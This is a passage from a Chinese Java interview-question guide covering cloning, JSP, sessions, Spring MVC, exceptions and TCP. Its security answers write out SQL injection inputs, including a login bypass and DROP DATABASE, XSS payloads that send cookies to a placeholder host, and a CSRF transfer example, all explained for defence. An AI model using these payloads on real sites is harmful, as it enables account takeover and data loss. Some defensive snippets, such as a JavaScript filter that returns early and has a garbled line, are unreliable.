从代码中可以看出要实现clone 方法的类必须实现Clonenable 接口,最终是通过native方法,大家都知道native方法是非Java语言实现的代码,供Java程序调用的,因为Java程序是运行在JVM虚拟机上面的,要想访问到比较底层的与操作系统相关的就没办法了,只能由靠近操作系统的语言来实现。 
第一次声明保证克隆对象将有单独的内存地址分配。 
第二次声明表明,原始和克隆的对象应该具有相同的类类型,但它不是强制性的。 
第三声明表明,原始和克隆的对象应该是平等的equals()方法使用,但它不是强制性的。 
因为每个类直接或间接的父类都是Object,因此它们都含有clone()方法,但是因为该方法是protected,所以都不能在类外进行访问。要想对一个对象进行复制,就需要对clone方法覆盖。

为什么要Clone
有时候需要clone 一个对象修改过的属性,然而通过new创建的对象的属性是初始值,所以当需要一个新的对象来保存当前对象的“状态”就靠clone方法了。如果把对象的临时属性一个一个的赋值给我新new的对象,操作起来比较麻烦,并且速度没有底层实现的快。

如何实现clone
clone 分为两种, 浅克隆(ShallowClone)和深克隆(DeepClone)。在Java语言中,数据类型分为值类型(基本数据类型)和引用类型,值类型包括int、double、byte、boolean、char等简单数据类型,引用类型包括类、接口、数组等复杂类型。浅克隆和深克隆的主要区别在于是否支持引用类型的成员变量的复制,下面将对两者进行详细介绍。

浅克隆
1、被复制的类需要实现Clonenable接口(不实现的话在调用clone方法会抛出CloneNotSupportedException异常), 该接口为标记接口(不含任何方法) 
2、 覆盖clone()方法,访问修饰符设为public。方法中调用super.clone()方法得到需要的复制对象。(native为本地方法)

下面对Car 类进行改造:
 

public class TestJava {

    public static void main(String[] args) {

        Car car = new Car();
        car.setColor("white");
        Car car1 = (Car) car.clone();
        car1.setColor("blue");

        if (car1 != null) {
            System.out.println("car color: " + car.getColor());
        }
        System.out.println("car1 color: " + car1.getColor());

        System.out.println("car == car1?" + (car == car1));
    }


    private static class Car implements Cloneable {

        private Car() {
        }

       private String color;

        public void setColor(String color) {
            this.color = color;
        }

        public String getColor() {
            return color;
        }

        @Override
        protected Object clone() {
            try {
                return super.clone();
            } catch (CloneNotSupportedException e) {
                e.printStackTrace();
            }
            return null;
        }
    }
}

通过查看打印信息可以看出car 和 car1 不是指向的同一个对象,上面实现的这种clone 为浅clone, 还有一种clone 为深clone

深clone

我们对Car 类进行改造,增加一个Engine属性

public class TestJava {

    public static void main(String[] args) {
        Engine engine = new Engine();
        engine.setModel("CA");
        Car car = new Car();
        car.setEngine(engine);
        Car newCar = (Car) car.clone();
        newCar.getEngine().setModel("CY");
        System.out.println("Car Engine Model:" + car.getEngine().getModel());
        System.out.println("newCar Engine Model: " + newCar.getEngine().getModel());
    }


    private static class Car implements Cloneable {

        private Car() {

        }

        private Engine engine;
        private String color;

        public void setColor(String color) {
            this.color = color;
        }

        public String getColor() {
            return color;
        }

        public void setEngine(Engine engine) {
            this.engine = engine;
        }

        public Engine getEngine() {
            return engine;
        }

        @Override
        protected Object clone() {
            try {
                return super.clone();
            } catch (CloneNotSupportedException e) {
                e.printStackTrace();
            }
            return null;
        }
    }

    private static class Engine {

        private String model;

        public void setModel(String model) {
            this.model = model;
        }

        public String getModel() {
            return model;
        }
    }
}


Car Engine Model:CY

newCar Engine Model: CY

通过打印可以看改变了newCar对象的Engine 属性 car 的Engine 属性也变了,

原因是浅复制只是复制了engine变量的引用,并没有真正的开辟另一块空间,将值复制后再将引用返回给新对象。

所以,为了达到真正的复制对象,而不是纯粹引用复制。我们需要将Engine类可复制化,并且修改clone方法,完整代码如下:
 

public class TestJava {

    public static void main(String[] args) {
        Engine engine = new Engine();
        engine.setModel("CA");
        Car car = new Car();
        car.setEngine(engine);
        Car newCar = (Car) car.clone();
        newCar.getEngine().setModel("CY");
        System.out.println("Car Engine Model:" + car.getEngine().getModel());
        System.out.println("newCar Engine Model: " + newCar.getEngine().getModel());
    }


    private static class Car implements Cloneable {

        private Car() {

        }

        private Engine engine;
        private String color;

        public void setColor(String color) {
            this.color = color;
        }

        public String getColor() {
            return color;
        }

        public void setEngine(Engine engine) {
            this.engine = engine;
        }

        public Engine getEngine() {
            return engine;
        }

        @Override
        protected Object clone() {
            Car car = null;
            try {
                car = (Car) super.clone();
            } catch (CloneNotSupportedException e) {
                e.printStackTrace();
                return null;
            }
            car.engine = (Engine) engine.clone();

            return car;
        }
    }

    private static class Engine implements Cloneable{

        private String model;

        public void setModel(String model) {
            this.model = model;
        }

        public String getModel() {
            return model;
        }


        @Override
        protected Object clone() {
            try {
                return super.clone();
            } catch (CloneNotSupportedException e) {
                e.printStackTrace();
            }
            return null;
        }
    }
}

输出结果:

Car Engine Model:CA 
newCar Engine Model: CY

输出结果与我们的想法一致

最后Java util 中clone 的实现“

/**
 * Return a copy of this object.
 */
public Object clone() {
    Date d = null;
    try {
        d = (Date)super.clone();
        if (cdate != null) {
            d.cdate = (BaseCalendar.Date) cdate.clone();
        }
    } catch (CloneNotSupportedException e) {} // Won't happen
    return d;
}

1、浅克隆

在浅克隆中,如果原型对象的成员变量是基本类型,将复制一份给克隆对象;如果原型对象的成员变量是引用类型,则将引用对象的地址复制一份给克隆对象,也就是说原型对象和克隆对象的成员变量指向相同的内存地址。

简单来说,在浅克隆中,当对象被复制时只复制它本身和其中包含的值类型的成员变量,而引用类型的成员对象并没有复制。

2、深克隆

在深克隆中,无论原型对象的成员变量是值类型还是引用类型,都将复制一份给克隆对象,深克隆将原型对象的所有引用对象也复制一份给克隆对象。

简单来说,在深克隆中,除了对象本身被复制外,对象所包含的所有成员变量也将复制。

序列化实现深克隆
序列化就是将对象写到流的过程,写到流中的对象是原有对象的一个拷贝,而原对象仍然存在于内存中。通过序列化实现的拷贝不仅可以复制对象本身,而且可以复制其引用的成员对象,因此通过序列化将对象写到一个流中,再从流里将其读出来,可以实现深克隆。需要注意的是能够实现序列化的对象其类必须实现Serializable接口,否则无法实现序列化操作。

Java语言提供的Cloneable接口和Serializable接口的代码非常简单,它们都是空接口,这种空接口也称为标识接口,标识接口中没有任何方法的定义,其作用是告诉JRE这些接口的实现类是否具有某个功能,如是否支持克隆、是否支持序列化等。

实现方法:
 

public class TestJava {

    public static void main(String[] args) {
        Child child = new Child();
        child.name = "Tony";

        Parent parent = new Parent();
        parent.setChild(child);

        Parent newParent = parent.clone();
        newParent.getChild().name = "Steven";

        System.out.println("parent child name:" + parent.getChild().name);
        System.out.println("new parent child name:" + newParent.getChild().name);
    }


    public static class Parent implements Serializable {

        private static final long serialVersionUID = 369285298572941L;
        private Child child;

        public void setChild(Child child) {
            this.child = child;
        }

        public Child getChild() {
            return child;
        }

        public Parent clone() {
            Parent parent = null;

            try {
                ByteArrayOutputStream baos = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(baos);
                oos.writeObject(this);

                ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
                ObjectInputStream ois = new ObjectInputStream(bais);
                parent = (Parent) ois.readObject();

            } catch (ClassNotFoundException e) {
                e.printStackTrace();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return parent;

        }
    }

    public static class Child implements Serializable {

        private static final long serialVersionUID = 872390113109L;

        public String name;

        @Override
        public String toString() {
            return "name :" + name;
        }
    }


}

实现对象克隆有两种方式:

  1). 实现Cloneable接口并重写Object类中的clone()方法;

  2). 实现Serializable接口,通过对象的序列化和反序列化实现克隆,可以实现真正的深度克隆。

基于序列化和反序列化实现的克隆不仅仅是深度克隆,更重要的是通过泛型限定,可以检查出要克隆的对象是否支持序列化,这项检查是编译器完成的,不是在运行时抛出异常,这种是方案明显优于使用Object类的clone方法克隆对象。让问题在编译的时候暴露出来总是优于把问题留到运行时。
 

63.深拷贝和浅拷贝区别是什么?

浅拷贝:复制基本类型的属性;引用类型的属性复制,复制栈中的变量 和 变量指向堆内存中的对象的指针,不复制堆内存中的对象。

深拷贝:复制基本类型的属性;引用类型的属性复制,复制栈中的变量 和 变量指向堆内存中的对象的指针和堆内存中的对象。

六、Java Web

64.jsp 和 servlet 有什么区别?

Servlet

一种服务器端的Java应用程序
由 Web 容器加载和管理
用于生成动态 Web 内容
负责处理客户端请求
         

Jsp

是 Servlet 的扩展,本质上还是 Servlet
每个 Jsp 页面就是一个 Servlet 实例
Jsp 页面会被 Web 容器编译成 Servlet,Servlet 再负责响应用户请求
     
区别

Servlet 适合动态输出 Web 数据和业务逻辑处理,对于 html 页面内容的修改非常不方便;Jsp 是在 Html 代码中嵌入 Java 代码,适合页面的显示
内置对象不同,获取内置对象的方式不同
 

65.jsp 有哪些内置对象?作用分别是什么?

JSP共有以下9个内置的对象:

request 用户端请求,此请求会包含来自GET/POST请求的参数

response 网页传回用户端的回应

pageContext 网页的属性是在这里管理

session 与请求有关的会话期

application servlet 正在执行的内容

out 用来传送回应的输出

config servlet的构架部件

page JSP网页本身

exception 针对错误网页,未捕捉的例外


request表示HttpServletRequest对象。它包含了有关浏览器请求的信息,并且提供了几个用于获取cookie, header,和session数据的有用的方法。

response表示HttpServletResponse对象,并提供了几个用于设置送回浏览器的响应的方法(如cookies,头信息等)

out对象是javax.jsp.JspWriter的一个实例,并提供了几个方法使你能用于向浏览器回送输出结果。

pageContext表示一个javax.servlet.jsp.PageContext对象。它是用于方便存取各种范围的名字空间、servlet相关的对象的API,并且包装了通用的

servlet相关功能的方法。

session表示一个请求的javax.servlet.http.HttpSession对象。Session可以存贮用户的状态信息

applicaton 表示一个javax.servle.ServletContext对象。这有助于查找有关servlet引擎和servlet环境的信息

config表示一个javax.servlet.ServletConfig对象。该对象用于存取servlet实例的初始化参数。

page表示从该页面产生的一个servlet实例

 

JSP共有以下6种基本动作


jsp:include:在页面被请求的时候引入一个文件。

jsp:useBean:寻找或者实例化一个JavaBean。

jsp:setProperty:设置JavaBean的属性。

jsp:getProperty:输出某个JavaBean的属性。

jsp:forward:把请求转到一个新的页面。

jsp:plugin:根据浏览器类型为Java插件生成OBJECT或EMBED标记

66.说一下 jsp 的 4 种作用域?

page:代表与一个页面相关的对象和属性。

request:代表与客户端发出的一个请求相关的对象和属性。一个请求可能跨越多个页面,涉及多个 Web 组件;需要在页面显示的临时数据可以置于此作用域。

session:代表与某个用户与服务器建立的一次会话相关的对象和属性。跟某个用户相关的数据应该放在用户自己的 session 中。

application:代表与整个 Web 应用程序相关的对象和属性,它实质上是跨越整个 Web 应用程序,包括多个页面、请求和会话的一个全局作用域。

67.session 和 cookie 有什么区别?

cookie是由Web服务器保存在用户浏览器上的小文件,包含有关用户的信息。
session是用来在客户端与服务器端之间保持状态的解决方案和存储结构

1、cookie数据存放在客户的浏览器上,session数据放在服务器上。
2、cookie不是很安全,别人可以分析存放在本地的cookie并进行cookie欺骗,考虑到安全应当使用session。
3、session会在一定时间内保存在服务器上。当访问增多,会比较占用服务器的性能,考虑到服务器性能方面,应当使用cookie。
4、单个cookie保存的数据不能超过4K,很多浏览器都限制一个站点最多保存20个cookie。
5、我认为将登陆信息等重要信息存放为session,其他信息如果需要保留,可以放在cookie中
 

68.说一下 session 的工作原理?

session 的工作原理是客户端登录完成之后,服务器会创建对应的 session,session 创建完之后,会把 session 的 id 发送给客户端,客户端再存储到浏览器中。这样客户端每次访问服务器时,都会带着 sessionid,服务器拿到 sessionid 之后,在内存找到与之对应的 session 这样就可以正常工作了。

69.客户端禁止 cookie,session 还能用吗?

一般默认情况下,在会话中,服务器存储 session 的 sessionid 是通过 cookie 存到浏览器里。

如果浏览器禁用了 cookie,浏览器请求服务器无法携带 sessionid,服务器无法识别请求中的用户身份,session失效。

但是可以通过其他方法在禁用 cookie 的情况下,可以继续使用session。

1、通过url重写,把 sessionid 作为参数追加的原 url 中,后续的浏览器与服务器交互中携带 sessionid 参数。
2、服务器的返回数据中包含 sessionid,浏览器发送请求时,携带 sessionid 参数。
3、通过 Http 协议其他 header 字段,服务器每次返回时设置该 header 字段信息,浏览器中 js 读取该 header 字段,请求服务器时,js设置携带该 header 字段。


70.spring mvc 和 struts 的区别是什么?

一、框架机制

spring mvc 和 struts2的加载机制不同:spring mvc的入口是servlet,而struts2是filter。

1、Struts2采用Filter(StrutsPrepareAndExecuteFilter)实现,SpringMVC(DispatcherServlet)则采用Servlet实现。

2、Filter在容器启动之后即初始化;服务停止以后销毁,晚于Servlet。Servlet在是在调用时初始化,先于Filter调用,服务停止后销毁。

二、拦截机制

1、Struts2

a、Struts2框架是类级别的拦截,每次请求就会创建一个Action,和Spring整合时Struts2的ActionBean注入作用域是原型模式prototype(否则会出现线程并发问题),然后通过setter,getter吧request数据注入到属性。

b、Struts2中,一个Action对应一个request,response上下文,在接收参数时,可以通过属性接收,这说明属性参数是让多个方法共享的。

c、Struts2中Action的一个方法可以对应一个url,而其类属性却被所有方法共享,这也就无法用注解或其他方式标识其所属方法了

2、SpringMVC

a、SpringMVC是方法级别的拦截,一个方法对应一个Request上下文,所以方法直接基本上是独立的,独享request,response数据。而每个方法同时又何一个url对应,参数的传递是直接注入到方法中的,是方法所独有的。处理结果通过ModeMap返回给框架。

b、在Spring整合时,SpringMVC的Controller Bean默认单例模式Singleton,所以默认对所有的请求,只会创建一个Controller,有应为没有共享的属性,所以是线程安全的,如果要改变默认的作用域,需要添加@Scope注解修改。

三、性能方面

SpringMVC实现了零配置,由于SpringMVC基于方法的拦截,有加载一次单例模式bean注入。而Struts2是类级别的拦截,每次请求对应实例一个新的Action,需要加载所有的属性值注入,所以,SpringMVC开发效率和性能高于Struts2。

四、拦截机制

Struts2有自己的拦截Interceptor机制,SpringMVC这是用的是独立的Aop方式,这样导致Struts2的配置文件量还是比SpringMVC大。

五、配置方面

spring MVC和Spring是无缝的。从这个项目的管理和安全上也比Struts2高(当然Struts2也可以通过不同的目录结构和相关配置做到SpringMVC一样的效果,但是需要xml配置的地方不少)。
SpringMVC可以认为已经100%零配置。

六、设计思想

Struts2更加符合OOP的编程思想, SpringMVC就比较谨慎,在servlet上扩展。

七、集成方面

SpringMVC集成了Ajax,使用非常方便,只需一个注解@ResponseBody就可以实现,然后直接返回响应文本即可,而Struts2拦截器集成了Ajax,在Action中处理时一般必须安装插件或者自己写代码集成进去,使用起来也相对不方便。

71.如何避免 sql 注入?

一、SQL注入简介

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库。

二、SQL注入攻击的总体思路

1.寻找到SQL注入的位置

2.判断服务器类型和后台数据库类型

3.针对不通的服务器和数据库特点进行SQL注入攻击

 

三、SQL注入攻击实例

比如在一个登录界面,要求输入用户名和密码:

可以这样输入实现免帐号登录:

用户名: ‘or 1 = 1 –

密 码:

点登陆,如若没有做特殊处理,那么这个非法用户就很得意的登陆进去了.(当然现在的有些语言的数据库API已经处理了这些问题)

这是为什么呢? 下面我们分析一下:

从理论上说,后台认证程序中会有如下的SQL语句:

String sql = "select * from user_table where username=

' "+userName+" ' and password=' "+password+" '";

当输入了上面的用户名和密码,上面的SQL语句变成:

SELECT * FROM user_table WHERE username=

'’or 1 = 1 -- and password='’

分析SQL语句:

条件后面username=”or 1=1 用户名等于 ” 或1=1 那么这个条件一定会成功;

然后后面加两个-,这意味着注释,它将后面的语句注释,让他们不起作用,这样语句永远都能正确执行,用户轻易骗过系统,获取合法身份。

这还是比较温柔的,如果是执行

SELECT * FROM user_table WHERE

username='' ;DROP DATABASE (DB Name) --' and password=''

….其后果可想而知… 

四、应对方法

下面我针对JSP,说一下应对方法:

1.(简单又有效的方法)PreparedStatement

采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。

使用好处:

(1).代码的可读性和可维护性.

(2).PreparedStatement尽最大可能提高性能.

(3).最重要的一点是极大地提高了安全性.

原理:

sql注入只对sql语句的准备(编译)过程有破坏作用

而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,

而不再对sql语句进行解析,准备,因此也就避免了sql注入问题. 

2.使用正则表达式过滤传入的参数

要引入的包:

import java.util.regex.*;

正则表达式:

private String CHECKSQL = “^(.+)\\sand\\s(.+)|(.+)\\sor(.+)\\s$”;

判断是否匹配:

Pattern.matches(CHECKSQL,targerStr);

下面是具体的正则表达式:

检测SQL meta-characters的正则表达式 :

/(\%27)|(\’)|(\-\-)|(\%23)|(#)/ix

修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^\n]*((\%27)|(\’)|(\-\-)|(\%3B)|(:))/i

典型的SQL 注入攻击的正则表达式 :/\w*((\%27)|(\’))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix

检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(\’))union/ix(\%27)|(\’)

检测MS SQL Server SQL注入攻击的正则表达式:

/exec(\s|\+)+(s|x)p\w+/ix

等等…..

 

3.字符串过滤

比较通用的一个方法:

(||之间的参数可以根据自己程序的需要添加)

public static boolean sql_inj(String str){

String inj_str = "'|and|exec|insert|select|delete|update|

count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";

String inj_stra[] = split(inj_str,"|");

for (int i=0 ; i &lt; inj_stra.length ; i++ ){

if (str.indexOf(inj_stra[i])&gt;=0){

return true;

}

}

return false;

}

 

4.jsp中调用该函数检查是否包函非法字符

 

防止SQL从URL注入:

sql_inj.java代码:

package sql_inj;

import java.net.*;

import java.io.*;

import java.sql.*;

import java.text.*;

import java.lang.String;

public class sql_inj{

public static boolean sql_inj(String str){

String inj_str = "'|and|exec|insert|select|delete|update|

count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";

//这里的东西还可以自己添加

String[] inj_stra=inj_str.split("\\|");

for (int i=0 ; i &lt; inj_stra.length ; i++ ){

if (str.indexOf(inj_stra[i])&gt;=0){

return true;

}

}

return false;

}

}

 

5.JSP页面判断代码:

 

使用javascript在客户端进行不安全字符屏蔽

功能介绍:检查是否含有”‘”,”\\”,”/”

参数说明:要检查的字符串

返回值:0:是1:不是

函数名是

function check(a){

return 1;

fibdn = new Array (”‘” ,”\\”,”/”);

i=fibdn.length;

j=a.length;

for (ii=0; ii<i; ii++)

{ for (jj=0; jj<j; jj++)

{ temp1=a.charAt(jj);

temp2=fibdn[ii];

if (tem’; p1==temp2)

{ return 0; }

}

}

return 1;

}

===================================

总的说来,防范一般的SQL注入只要在代码规范上下点功夫就可以了。

凡涉及到执行的SQL中有变量时,用JDBC(或者其他数据持久层)提供的如:PreparedStatement就可以 ,切记不要用拼接字符串的方法就可以了。

72.什么是 XSS 攻击,如何避免?

XSS 攻击,即跨站脚本攻击(Cross Site Scripting),它是 web 程序中常见的漏洞。 

原理

攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。 

 

种类

1、DOM Based XSS:基于网页 DOM 结构的攻击

例如:

input 标签 value 属性赋值
//jsp
<input type="text" value="<%= getParameter("content") %>">
 访问

http://xxx.xxx.xxx/search?content=<script>alert('XSS');</script>    //弹出 XSS 字样
http://xxx.xxx.xxx/search?content=<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>    //把当前页面的 cookie 发送到 xxxx.aaa.xxx 网站
 

利用 a 标签的 href 属性的赋值
//jsp
<a href="escape(<%= getParameter("newUrl") %>)">跳转...</a>
访问

http://xxx.xxx.xxx?newUrl=javascript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
变换大小写
http://xxx.xxx.xxx?newUrl=JAvaScript:alert('XSS')    //点击 a 标签就会弹出 XSS 字样
加空格
http://xxx.xxx.xxx?newUrl= JavaScript :alert('XSS')    //点击 a 标签就会弹出 XSS 字样
 

image 标签 src 属性,onload、onerror、onclick 事件中注入恶意代码
<img src='xxx.xxx' οnerrοr='javascript:window.open("http://aaa.xxx?param="+document.cookie)' />
 

 

2、Stored XSS:存储式XSS漏洞

<form action="save.do">
    <input name="content" value="">
</form>
输入 <script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>,提交
当别人访问到这个页面时,就会把页面的 cookie 提交到 xxx.aaa.xxx,攻击者就可以获取到 cookie

 

预防思路 

web 页面中可由用户输入的地方,如果对输入的数据转义、过滤处理
后台输出页面的时候,也需要对输出内容进行转义、过滤处理(因为攻击者可能通过其他方式把恶意脚本写入数据库)
前端对 html 标签属性、css 属性赋值的地方进行校验
 

注意:

各种语言都可以找到 escapeHTML() 方法可以转义 html 字符。

<script>window.open("xxx.aaa.xxx?param="+document.cookie)</script>
转义后
%3Cscript%3Ewindow.open%28%22xxx.aaa.xxx%3Fparam%3D%22+document.cookie%29%3C/script%3E
需要考虑项目中的一些要求,比如转义会加大存储。可以考虑自定义函数,部分字符转义。
 

73.什么是 CSRF 攻击,如何避免?

跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨网站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

攻击细节

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。

例子

假如一家银行用以运行转账操作的URL地址如下:http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName

那么,一个恶意攻击者可以在另一个网站上放置如下代码: <img src="http://www.examplebank.com/withdraw?account=Alice&amount=1000&for=Badman">

如果有账户名为Alice的用户访问了恶意站点,而她之前刚访问过银行不久,登录信息尚未过期,那么她就会损失1000资金。

这种恶意的网址可以有很多种形式,藏身于网页中的许多地方。此外,攻击者也不需要控制放置恶意网址的网站。例如他可以将这种地址藏在论坛,博客等任何用户生成内容的网站中。这意味着如果服务端没有合适的防御措施的话,用户即使访问熟悉的可信网站也有受攻击的危险。

透过例子能够看出,攻击者并不能通过CSRF攻击来直接获取用户的账户控制权,也不能直接窃取用户的任何信息。他们能做到的,是欺骗用户浏览器,让其以用户的名义运行操作。

防御措施

检查Referer字段

HTTP头中有一个Referer字段,这个字段用以标明请求来源于哪个地址。在处理敏感数据请求时,通常来说,Referer字段应和请求的地址位于同一域名下。以上文银行操作为例,Referer字段地址通常应该是转账按钮所在的网页地址,应该也位于www.examplebank.com之下。而如果是CSRF攻击传来的请求,Referer字段会是包含恶意网址的地址,不会位于www.examplebank.com之下,这时候服务器就能识别出恶意的访问。

这种办法简单易行,工作量低,仅需要在关键访问处增加一步校验。但这种办法也有其局限性,因其完全依赖浏览器发送正确的Referer字段。虽然http协议对此字段的内容有明确的规定,但并无法保证来访的浏览器的具体实现,亦无法保证浏览器没有安全漏洞影响到此字段。并且也存在攻击者攻击某些浏览器,篡改其Referer字段的可能。

添加校验token

由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在cookie中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。这种数据通常是窗体中的一个数据项。服务器将其生成并附加在窗体中,其内容是一个伪随机数。当客户端通过窗体提交请求时,这个伪随机数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪随机数,而通过CSRF传来的欺骗性攻击中,攻击者无从事先得知这个伪随机数的值,服务端就会因为校验token的值为空或者错误,拒绝这个可疑请求。

七、异常

74.throw 和 throws 的区别?

throw和throws的区别

抛出异常有三种形式,一是throw,一个throws,还有一种系统自动抛异常。下面它们之间的异同

一、系统自动抛异常

当程序语句出现一些逻辑错误、主义错误或类型转换错误时,系统会自动抛出异常

二、throw

1、throw是语句抛出一个异常,一般是在代码块的内部,当程序

现某种逻辑错误时由程序员主动抛出某种特定类型的异常

2、定义在方法体内

3、创建的是一个异常对象

4、确定了发生哪种异常才可以使用

三、throws

1、在方法参数列表后,throws后可以跟着多个异常名,表示抛出的异常用逗号隔开

2、表示向调用该类的位置抛出异常,不在该类解决

3、可能发生哪种异常

throws用在方法声明后面,跟的是异常类名,throw用在方法体内,跟的是异常对象名。

     throws可以跟多个异常类名,用逗号隔开,throw只能抛出一个异常对象名。

     throws表示抛出异常,由该方法的调用者来处理,throw表示抛出异常,由方法体内的语句处理。

throws表示出现异常的一种可能性,并不一定会发生这些异常,throw则是抛出了异常,执行throw则一定抛出了某种异常。

四、异常

异常概述:

异常:异常是指在程序的运行过程中所发生的不正常的事件,它会中断正在运行的程序。简单来说就是程序出现了不正常的情况。异常本质就是Java当中对可能出现的问题进行描述的一种对象体现。

如果我们不做任何处理,异常将会交由虚拟机来处理

虚拟机的处理方式:

把异常的名称,异常出现的位置,异常原因,等信息输出打印在控制台,并同时将  程序停止执行。

在写程序时,对可能会出现异常的部分通常要用try{...}catch{...}去捕捉它并对它进行处理;

用try{...}catch{...}捕捉了异常之后一定要对在catch{...}中对其进行处理,那怕是最简单的一句输出语句,或栈输入e.printStackTrace();

如果是捕捉IO输入输出流中的异常,一定要在try{...}catch{...}后加finally{...}把输入输出流关闭;

如果在函数体内用throw抛出了某种异常,最好要在函数名中加throws抛异常声明,然后交给调用它的上层函数进行处理。

75.final、finally、finalize 有什么区别?

final可以用来修饰类、方法、变量,分别有不同的意义所在,final修饰的class代表不可继续扩展,final修饰的变量代表不可修改,final修饰的方法代表不可重写。
 
finally则是java保证某一段重点代码一定要被执行的修饰符,例如:我们需要用try块让JDBC保证连接,保证unlock锁等动作
 
finalize是基础类java.lang.Object的一个方法,它的设计目的是为了保证对象在垃圾回收之前完成特定资源的回收


76.try-catch-finally 中哪个部分可以省略?

catch 和 finally 语句块可以省略其中一个。

77.try-catch-finally 中,如果 catch 中 return 了,finally 还会执行吗?

当然会了,finally是一定会执行的,会在return前执行。

78.常见的异常类有哪些?

|  ├ Error  

|  │ ├ IOError

|  │ ├ LinkageError

|  │ ├ ReflectionError

|  │ ├ ThreadDeath

|  │ └ VirtualMachineError

|  │ 

|  ├ Exception  

|  │ ├ CloneNotSupportedException

|  │ ├ DataFormatException

|  │ ├ InterruptedException

|  │ ├ IOException

|  │ ├ ReflectiveOperationException

|  │ ├ RuntimeException 

|  │    ├ ArithmeticException

|  │    ├ ClassCastException

|  │    ├ ConcurrentModificationException

|  │    ├ IllegalArgumentException

|  │    ├ IndexOutOfBoundsException

|  │    ├ NoSuchElementException

|  │    ├ NullPointerException

|  │ └ SecurityException

|  │ └  SQLException
 

八、网络

79.http 响应码 301 和 302 代表的是什么?有什么区别?

301 Moved Permanently
被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。

302 Found
请求的资源现在临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在Cache-Control或Expires中进行了指定的情况下,这个响应才是可缓存的。
 

区别:

301 表示被请求 url 永久转移到新的 url;302 表示被请求 url 临时转移到新的 url。
301 搜索引擎会索引新 url 和新 url 页面的内容;302 搜索引擎可能会索引旧 url 和 新 url 的页面内容。
302 的返回码可能被别人利用,劫持你的网址。因为搜索引擎索引他的网址,他返回 302 跳转到你的页面。
 

80.forward 和 redirect 的区别?

1. 从地址栏显示来说:

1)forword是服务器内部的重定向,服务器直接访问目标地址的 url网址,把里面的东西读取出来,但是客户端并不知道,因此用forward的话,客户端浏览器的网址是不会发生变化的。

2)redirect是服务器根据逻辑,发送一个状态码,告诉浏览器重新去请求那个地址,所以地址栏显示的是新的地址。

2。 从数据共享来说:

1)由于在整个定向的过程中用的是同一个request,因此forward会将request的信息带到被重定向的jsp或者servlet中使用。即可以共享数据

2)redirect不能共享

3. 从运用的地方来说

1)forword 一般用于用户登录的时候,根据角色转发到相应的模块

2) redirect一般用于用户注销登录时返回主页面或者跳转到其他网站

4。 从效率来说:

1)forword效率高,而redirect效率低

5. 从本质来说:

forword转发是服务器上的行为,而redirect重定向是客户端的行为

6. 从请求的次数来说:

forword只有一次请求;而redirect有两次请求

81.简述 tcp 和 udp的区别?

1. TCP协议在传送数据段的时候要给段标号;UDP协议不;
2. TCP协议可靠;UDP协议不可靠;
3. TCP协议是面向连接;UDP协议采用无连接;
4. TCP协议负载较高,采用虚电路;UDP采用无连接;
5. TCP协议的发送方要确认接收方是否收到数据段(3次握手协议),UDP协议不确认对方是否收到消息 ;
6. TCP协议采用窗口技术和流控制。

82.tcp 为什么要三次握手,两次不行吗?为什么

Step1       A -> B : 你好,B。

Step2       A <- B : 收到。你好,A。

这样的两次握手过程, A 向 B 打招呼得到了回应,即 A 向 B 发送数据,B 是可以收到的。

但是 B 向 A 打招呼,A 还没有回应,B 没有收到 A 的反馈,无法确保 A 可以收到 B 发送的数据。

只有经过第三次握手,才能确保双向都可以接收到对方的发送的 数据。
Step3       A -> B : 收到,B。

这样 B 才能确定 A 也可以收到 B 发送给 A 的数据。
 

83.说一下 tcp 粘包是怎么产生的?

1 什么是粘包现象

  TCP粘包是指发送方发送的若干包数据到接收方接收时粘成一包,从接收缓冲区看,后一包数据的头紧接着前一包数据的尾。

2 为什么出现粘包现象

  (1)发送方原因

  我们知道,TCP默认会使用Nagle算法。而Nagle算法主要做两件事:1)只有上一个分组得到确认,才会发送下一个分组;2)收集多个小分组,在一个确认到来时一起发送。

  所以,正是Nagle算法造成了发送方有可能造成粘包现象。

  (2)接收方原因

